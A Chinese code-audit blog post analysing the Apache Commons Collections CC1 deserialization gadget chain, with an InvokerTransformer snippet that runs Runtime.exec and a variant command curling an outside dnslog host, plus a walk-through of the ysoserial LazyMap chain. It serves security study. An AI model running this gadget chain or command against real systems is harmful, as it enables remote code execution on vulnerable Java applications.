java代码审计之CC1链(一)

2024-01-31 09:48
文章标签 java 代码 审计 cc1

本文主要是介绍java代码审计之CC1链(一),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

Apache Commons  Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发。

commons-collections组件反序列化漏洞的反射链也称为CC链,自从apache commons-collections组件爆出第一个java反序列化漏洞后,就像打开了java安全的新世界大门一样,之后很多java中间件相继都爆出反序列化漏洞。本文分析java反序列化CC1链。

阅读本篇文章所需基础:

java反射机制

环境搭建

idea

commons-collections jar包

commons-collections jar包获取方法

1.Maven仓库获取

2.Maven项目导入

在maven项目中,引入依赖:

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

利用链分析

首先,随便搞一段CC1链调试代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;public class Cc1 {public static void main(String[] args) {ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null,new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc"})});chain.transform(123);}
}

代码格式简单调整一下

确认可以弹出计算器

shift+f9 调试一下,可以发现,触发弹出计算器的位置在这一句

chain.transform(123);

可以从这一句跟进,查看它后续的运行情况

可以记录一下此时chain这个对象的值,方便后续分析

f7跟进后可以看到,调用的transform内容为:调用上面chain中,iTransformers数组内的每一个元素的transform函数,传入的参数是object=123

当i=0时,调用如下

此时objcet变为Runtime类名

接下来进入到第二个元素的transform,注意:传入的object input为上一步中返回的class java.lang.Runtime。可以简单看一下这段代码,首先if条件不满足input为空,所以进入else;

else中,首先通过getClass记录了input对象的类名,类名为class java.lang.Runtime;

接下来,调用cls的getMethod方法并进行invoke(反射的基本操作,这一段其实就是在用反射)。

循环下来可以很清楚的看到,调用了Runtime.exec,而且参数为calc

所以调试执行了这一句的时候,计算器会弹出

return method.invoke(input, this.iArgs);

漏洞利用

既然清楚了漏洞原理,很容易发现,只需要通过Runtime.exec 调用cmd,传入想要执行的命令,就可以形成漏洞利用,例如将calc修改为

cmd /c curl f4ykmb.dnslog.cn

编译运行,可以看到

既然确定可以达到预期效果,那么接下来就需要通过一些操作达到远程利用了。

Apache Commons Collections主要提供了两个类,TransformedMap和LazyMap类,其可以修饰一个Map数据,当对该Map数据进行具体操作时就会触发transform。Apache Commons Collections反序列化的CC链主要使用的是TransformedMap类,而Ysoserial  CC1链主要使用的是LazyMap类。

这里简单讲解一下关于Ysoserial的CC1链构造

Ysoserial的CC1链构造主要依赖了commons-collections 中的LazyMap类下的get函数,其中调用了transform()

接下来可以看代码

通过decorate(),可以创建一个LazyMap对象,但是由于其get方法并不可控,所以需要寻找一个特定的可序列化类,该类重写了readObject( )函数,并且在readObject( )中调用了lazyMap的get()函数。

刚好AnnotationInvocationHandler类重写了readObject( )函数,但其并没有明确的调用get()函数

其中没有明确调用get方法,但是AnnotationInvocationHandler类实现了InvocationHandler接口,其invoke( )函数,部分代码如下

红框部分的代码,调用了memberValues.get()函数,而switch函数的作用是判断var7变量值,只要var7的值为0、1、2之外的值,就可以进入default分支。

继续往上面看,上面的代码中可以发现,当代理的对象调用toString,hashCode,annotationType时,分别对应返回0、1、2三种情况

追查this.memberValues的来源可以发现,这个memberValues的值来自构造函数传入,并且为Map类型,所以可以满足构造条件,只要调用AnnotationInvocationHandler实例对象的invoke方法就可以触发攻击链,导致代码执行。

每一个proxy代理实例都有一个关联的调用处理程序InvocationHandler,而invoke方法就是代理对象调用方法时的调用处理程序。

因此需要构造一个动态代理的对象,让其调用方法,从而触发invoke方法。

AnnotationInvocationHandler的readObject方法下,this.memberValues是可控的,当其是一个AnnotationInvocationHandler类生成的动态代理对象时,在调用entrySet()方法时,会自动去调用invoke方法,而由于其调用的不是toString,hashCode等方法,就会执行上面提到过的Object var6 = this.memberValues.get(var4),从而完成攻击链条,导致代码执行。

总结

InvokerTransformerCC1链的漏洞点位于InvokerTransformer.class中反射加载参数可控

那么只需要调用到这个点,就可以触发漏洞,可以参考ysoserial中的CC1利用

ysoserial中的CC1链,是使用LazyMap构造的,LazyMap构造的整条攻击路径为

redObject()->this.memberValues.entrySet()->InvocationHandler的invoke()->this.memberValues.get()->LayzMap的get()->this.factory.transformer()->chainedTransformer的transform->利用InvokerTransformer的transform构造Runtime对象(漏洞点处那一段)->执行Runtime.exec()

免责声明:

利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。

感兴趣的可以关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。

这篇关于java代码审计之CC1链(一)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/663340

相关文章

Java 正则表达式URL 匹配与源码全解析

《Java正则表达式URL匹配与源码全解析》在Web应用开发中,我们经常需要对URL进行格式验证,今天我们结合Java的Pattern和Matcher类,深入理解正则表达式在实际应用中... 目录1.正则表达式分解:2. 添加域名匹配 (2)3. 添加路径和查询参数匹配 (3) 4. 最终优化版本5.设计思

Java使用ANTLR4对Lua脚本语法校验详解

《Java使用ANTLR4对Lua脚本语法校验详解》ANTLR是一个强大的解析器生成器,用于读取、处理、执行或翻译结构化文本或二进制文件,下面就跟随小编一起看看Java如何使用ANTLR4对Lua脚本... 目录什么是ANTLR?第一个例子ANTLR4 的工作流程Lua脚本语法校验准备一个Lua Gramm

Java字符串操作技巧之语法、示例与应用场景分析

《Java字符串操作技巧之语法、示例与应用场景分析》在Java算法题和日常开发中,字符串处理是必备的核心技能,本文全面梳理Java中字符串的常用操作语法,结合代码示例、应用场景和避坑指南,可快速掌握字... 目录引言1. 基础操作1.1 创建字符串1.2 获取长度1.3 访问字符2. 字符串处理2.1 子字

Java Optional的使用技巧与最佳实践

《JavaOptional的使用技巧与最佳实践》在Java中,Optional是用于优雅处理null的容器类,其核心目标是显式提醒开发者处理空值场景,避免NullPointerExce... 目录一、Optional 的核心用途二、使用技巧与最佳实践三、常见误区与反模式四、替代方案与扩展五、总结在 Java

基于Java实现回调监听工具类

《基于Java实现回调监听工具类》这篇文章主要为大家详细介绍了如何基于Java实现一个回调监听工具类,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 目录监听接口类 Listenable实际用法打印结果首先,会用到 函数式接口 Consumer, 通过这个可以解耦回调方法,下面先写一个

使用Java将DOCX文档解析为Markdown文档的代码实现

《使用Java将DOCX文档解析为Markdown文档的代码实现》在现代文档处理中,Markdown(MD)因其简洁的语法和良好的可读性,逐渐成为开发者、技术写作者和内容创作者的首选格式,然而,许多文... 目录引言1. 工具和库介绍2. 安装依赖库3. 使用Apache POI解析DOCX文档4. 将解析

Java字符串处理全解析(String、StringBuilder与StringBuffer)

《Java字符串处理全解析(String、StringBuilder与StringBuffer)》:本文主要介绍Java字符串处理全解析(String、StringBuilder与StringBu... 目录Java字符串处理全解析:String、StringBuilder与StringBuffer一、St

C++使用printf语句实现进制转换的示例代码

《C++使用printf语句实现进制转换的示例代码》在C语言中,printf函数可以直接实现部分进制转换功能,通过格式说明符(formatspecifier)快速输出不同进制的数值,下面给大家分享C+... 目录一、printf 原生支持的进制转换1. 十进制、八进制、十六进制转换2. 显示进制前缀3. 指

springboot整合阿里云百炼DeepSeek实现sse流式打印的操作方法

《springboot整合阿里云百炼DeepSeek实现sse流式打印的操作方法》:本文主要介绍springboot整合阿里云百炼DeepSeek实现sse流式打印,本文给大家介绍的非常详细,对大... 目录1.开通阿里云百炼,获取到key2.新建SpringBoot项目3.工具类4.启动类5.测试类6.测

Spring Boot循环依赖原理、解决方案与最佳实践(全解析)

《SpringBoot循环依赖原理、解决方案与最佳实践(全解析)》循环依赖指两个或多个Bean相互直接或间接引用,形成闭环依赖关系,:本文主要介绍SpringBoot循环依赖原理、解决方案与最... 目录一、循环依赖的本质与危害1.1 什么是循环依赖?1.2 核心危害二、Spring的三级缓存机制2.1 三